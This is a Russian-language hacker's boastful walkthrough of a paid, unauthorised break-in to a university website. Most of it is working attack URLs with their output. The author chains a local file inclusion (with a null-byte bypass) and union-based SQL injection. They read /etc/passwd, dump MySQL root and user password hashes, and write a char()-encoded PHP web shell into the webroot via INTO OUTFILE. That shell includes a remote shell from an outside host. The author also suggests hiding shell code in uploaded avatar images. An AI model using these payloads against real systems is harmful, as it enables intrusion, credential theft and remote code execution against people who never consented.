Сразу оговорюсь - я не ставлю целью описать весь взлом. Я хотел бы просто показать как 10 минут назад я легко и комфортно освоил новый для себя метод взлома. Если быть более точным - ничего нового здесь нет, просто раньше мне не попадалась подобная комбинация багов.
Глубокая ночь. За окном непроглядная темнота. Передо мной кружка с пакетиком чая. На голове - наушники.
В ICQ общаюсь с заказчиком. Заказчик даёт две новые ссылки - это новые мишени для моей атаки. Ну что ж, посмотрим, что к нам пришло.
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world
Скрипт был самописный, поэтому его название не столь важно. Важен другой факт, а именно:
в имени переменной есть кавычка. Как минимум, это означает, что стоит ожидать отстутствия фильтрации кавычек в других переменных. Кроме того, скорее всего скрипт не передает запросы к базам данных, так как символ кавычки скорее всего сбивал структуру запроса. Мой совет -
всегда обращайте внимание на состав символов в значениях переменных, входящих в запрос! Это сразу дает представление о том, чего стоит ожидать в ходе дальнейшего взлома, а чего - нет. В данном случае мои ожидания, подкрепленные фактом пристуствия кавычки в значении оправдались.
Ну что ж - проверим переменную на возможность чтения файлов:
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd
Еще один совет -
в процессе выявления факта локального инклуда символы перехода на каталог выше ../ сначала стоит ставить после значения переменной, не удаляя ее самой. Это связано с тем, что в подобных скриптах очень часто стоит проверка на вхождение в значение переменной определенного названия каталога.
Страница становится пустой - а это уже хорошо. Перемены, они всегда к лучшему ;-)
http://www.university.edu/art/1/name.php?name=control&page=../../../../../../../../../../etc/passwd
Пусто.
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd%00
Нулевой байт нас не подвёл.
root:x:0:1:Super-User (charlotte):/:/sbin/sh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
.......
Отлично. Проверим наш инклуд на "глобальность". Точнее, на удаленность:
http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php
http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php%00
http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell
http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php?
Не инклудит. Жаль.
Дальше я задумался. Стоит ли мне начать шастать по неизвестным директорися, проверять хистори и т. п. или же поискать другие баги. Так как домен был огромным, я решил не останавливаться на достигнутом и начал скурпулезный осмотр местности...
Местность оказалась неровной и уже на второй переменной я нашёл не менее приятный для меня баг - SQL-injection.
http://www.university.edu/stories.php?id='157'
Кавычки жгут!!! Скажу честно, зачем значение параметра, выступающему в качестве начального ключа в одной из таблиц базы данных (это я про id - имхо в таблице он
primary key) и имеющего в подавляющем большинстве случаев числовой тип передавать в кавычках - я не пойму до сих пор.
P. S. - обрамление каычками - характерная черта типа CHAR.
Но да и это не суть. А суть в том, что после запроса, вида:
http://www.university.edu/stories.php?id='157''
текст статьи исчез. Это радует. Поробуем поиграть в коперфильдов и заставить его появиться:
http://www.university.edu/stories.php?id='157' order by 1/*
О, чудо! С первой попытки он появился. Что ж - заставим его исчезнуть еще раз:
http://www.university.edu/stories.php?id='157' order by 88/*
Текст исчезает, а у нас появляется точная уверенность в том, что мы имеем на руках (на сервере) blind SQL-injection. Ну ничего, пусть она и слепая, но смотреть мы ее заставим. Поиграв со значением ORDER BY, я узнал, что начальный запрос доставал из таблицы три поля (это я выснил потому, что
при order by 4 страница была пустой, а при order by 3 - c текстом).
http://www.university.edu/stories.php?id='157' order by 3/*
http://www.university.edu/stories.php?id='157' union select 1,2,3/*
На странице текст все той же статьи. Но ведь текст нам не нужен, нужны волшебные циферки 1 2 3 (или хотя бы одна из них). Для этого поступаем так:
http://www.university.edu/stories.php?id='-157' union select 1, 2, 3/*
Приход состоялся - наблюдаем цифры.
http://www.university.edu/stories.php?id='-157' union select 1, 2, USER()/*
muelib@localhost
Локалхост, хреново.
http://www.university.edu/stories.php?id='-157' union select 1, 2, VERSION()/*
4.1.2 stable
Четверка, тоже не очень - пятерка намного лучше.
http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user/*
Цифры на месте - искренне ликую.
http://www.university.edu/stories.php?id='-157' union select 1, 2, user from mysql.user LIMIT 0,1/*
Надпись
root проявилась. Это еще лучше (иногда, пароль рута к БД подходит на ssh).
http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 0,1/*
root:158200db52760077
Запрос
http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 1,1/*
выдает тоже самое.
http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user where user like 'muelib'/*
moellb:6b186803528d40aa
Плохо. Выводит только одну строку. Домен большой юзеров должно быть много. Устану я так подбирать для всех. Надо менять запрос, а это уже лишнее время (еще один совет -
если запрос возвращает только одну строку, то поробуйте имзенить место вывода результата запроса, то есть в данном случае поставить вместо 2). Либо второй вариант - начать расшифровывать два полученных пароля. Так, если рут еще на ssh не проканает, то второй юзер на админку - 80% должен подойти. Но это же время.... А специфика заказов (у этого заказчика) состоит в том, что сайт должен быть взломан за определенное время - то есть, через сутки этот сайт становится ненужным, а за срочность, к тому же, всегда доплачивают. Почти всегда.
Что же делать....
Ладно, раз здесь столько ошибок и, кроме того, отсутсвует фильтрация, попробуем залить шелл при помощи оператора INSERT. Для этого читаем /etc/passwd при помощи читалки файлов, чтобы понять струткуру каталогов, там я нахожу полный путь к сайту, ибо там для каждого факультета (снаружи - это подкатологи на сайте) есть свой юзер (причем, все с доступом к командному интерпретатору си-шелл (csh)):
/oldWWW/oldWWW/docs/www.university.edu
http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/www.university.edu/test1.txt'/*
Этот запрос должен будет создать в корне сайта текстовик с символами 1 2 3.
Но сначала я лучше подстрахуюсь и проверю возможность использования оператора INSERT:
http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/tmp/test1.txt'/*
Дальше через читалку проверяем:
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../tmp/test1.txt%00
1 2 3 на экране.
Попутно приходит мысль проверить возможность чтения файлов с web'а.
Так, например, пользователь под которым я просматриваю файлы через читалку, имеет почти всегда больше (ну, уж точно не меньше) прав, чем просто посетитель сайта. То есть, найдя, например, админку, в ее директории можно юудет почитать конфиги и выцепить
незашифрованые пароли к БД. Скажу сразу - я не смог найти админки, прочитал только robots.txt и без того доступный с web:
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../..//oldWWW/oldWWW/docs/
www.university.edu/robots.txt%00
User-agent: *
Disallow: /_tt/
Disallow: /_backs/
Disallow: /SSEWI/
User-agent: googlebot
Disallow: *.csi
Ладно, проверим возможность заливки шелла:
http://www.university.edu/stories.php?id='-157' union select 1, 2, '<? system($_GET[cmd]); ?>' from mysql.user INTO OUTFILE '/tmp/test2.txt'/*
Два важных замечания:
1) Имя переменной cmd идет без кавычек,
чтобы не разрушить структуру запроса;
2) Функцию беру самую простую, т. к. вряд ли она будет отключена, с учетом всех предыдущих багов.
Пробую просмотреть через читалку:
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../
/tmp/test2.txt%00
....и вижу только один первый символ угловой скобки. "Вот *** " - выругался я. Фильтрация во время обработки запроса. Ладно, обойдем. Для этого воспользуемся функцией char(), возвращающей символ по его dec коду. Закодировать запрос можно вручную при помощи таблицы ASCII, а можно воспользоватся кодировщиком на сайте
http://ha.ckers.org/xss.html
Правда там он выдает несовсем в нужном нам виде.
Внизу страницы в форму с подписью
ASCII Text: забиваем текст шелла и смотри ниже на вывод результат кодировки в поле с подписью
Decimal Value:. Выделяем полученное и копируем в тектовый редактор и через авто-замену меняем последовательность &# на ,
Затем копируем полученное, удалив первую запятую в аргумент функции CHAR().
В итоге имеем запрос:
http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,8 4,91,99,109,100,93,41,59,32,63,62)
from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/
www.university.edu/file.php'/*
Заходим на www.university.edu/file.php и вместо ожидаемой белой страницы видим надпись
Page not Found.
Да что такое!! Ну-ка проверим еще раз через tmp:
http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,8 4,91,99,109,100,93,41,59,32,63,62)
from mysql.user INTO OUTFILE '/tmp/test3.txt'/*
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../
/tmp/test3.txt%00
Проуем добавить в GET запрос имя новой переменной cmd:
http://www.university.edu/art/1/name.php?name=control&page=hell'o_world&cmd=id
...и не видим ровным счетом ничего (в смысле, результата выполнения команды). Ни на странице, ни в ее исходном коде.
Далее в течение 20 минут я пытался понять в чем дело, попутно ища
Cain&Abel (R) для хешей, а также пытаясь найти при помощи читалки файлов что-нить интересное...
...Спустя 20 минут я понял, что коверкать устои плохо.
Если изначально бага называлась
локальный инклуд - то она и есть локальный инклуд, но никак не читалка! И именнно поэтому при попытке просмотра, если символ один - < мы его видим, если <? - то нет, ибо для сервера - это уже начало php кода. Поэтому я и видел пустой - файл. На самом деле, он не был пуст - и если бы у нас была возможность просмотреть его размер (ну или у меня хватило смекалки глянуть в исходник страницы) - мы бы убедились в этом. Обратите внимание:
код интерпретируется, несмотря на расширение файла.
Далее у меня пришла другая интересная мысль - а зачем я должен работать через system, в адресной строке с тремя переменными, если я могу просто заинклудить файл в тело нашей страницы. Сказано - сделано.
Кодируем строку:
<? include('http://moisite.ru/shell.php'); ?>
Получаем:
<? inclu..........
Заменяем, получаем запрос:
http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,105,110,99,108,117,..................... ...,32,63,62)
from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/
www.university.edu/file1.php'/*
Пробуем прочитать файл (а точнее - проинклудить!)
и перед нами открывется шелл.
Ура!
P. S. Меня очень сильно удивила комбинация "локальный инклуд- SQL инъекция", что я поспешил поделиться радостью с товарищем +toxa+.
А он удивил меня еще больше, натолкнув на мысль, что при помощи локального инклуда можно, например, обходить проблемы, возникающие при аплоаде шеллов в папки с рисунками. То есть, например - есть у тебя возможность подгрузки аватары и локальный инклуд - ты вместо аватары залил себе код шелла (если не фильтруется расширение файла), аон в данной папке исполнять не хочет. В таких случаях, обычно необходимо переместить псевдо-картинку в директорию, в которой разрешено исполнение PHP-скриптов. Или... Просто заинклудить картинку. Ну, вообщем, Вы меня поняли ;-)...
Человеческая фантазия, а уж тем более хакерская, не знает границ. Никогда не стоит забывать, что любую ситуацию - будь то взлом, или просто какая-то жизненная ситуация - нельзя рассматривать по пунктам,
ибо пункты в совокупности образуют список. Полочки стойку. А несколько багов - успешный взлом.
Удачи!
С уажением, 1ten0.0net1.
P.P.S - при возникновении любых вопросов всегда готов ответить. Если не сильно занят, конечно.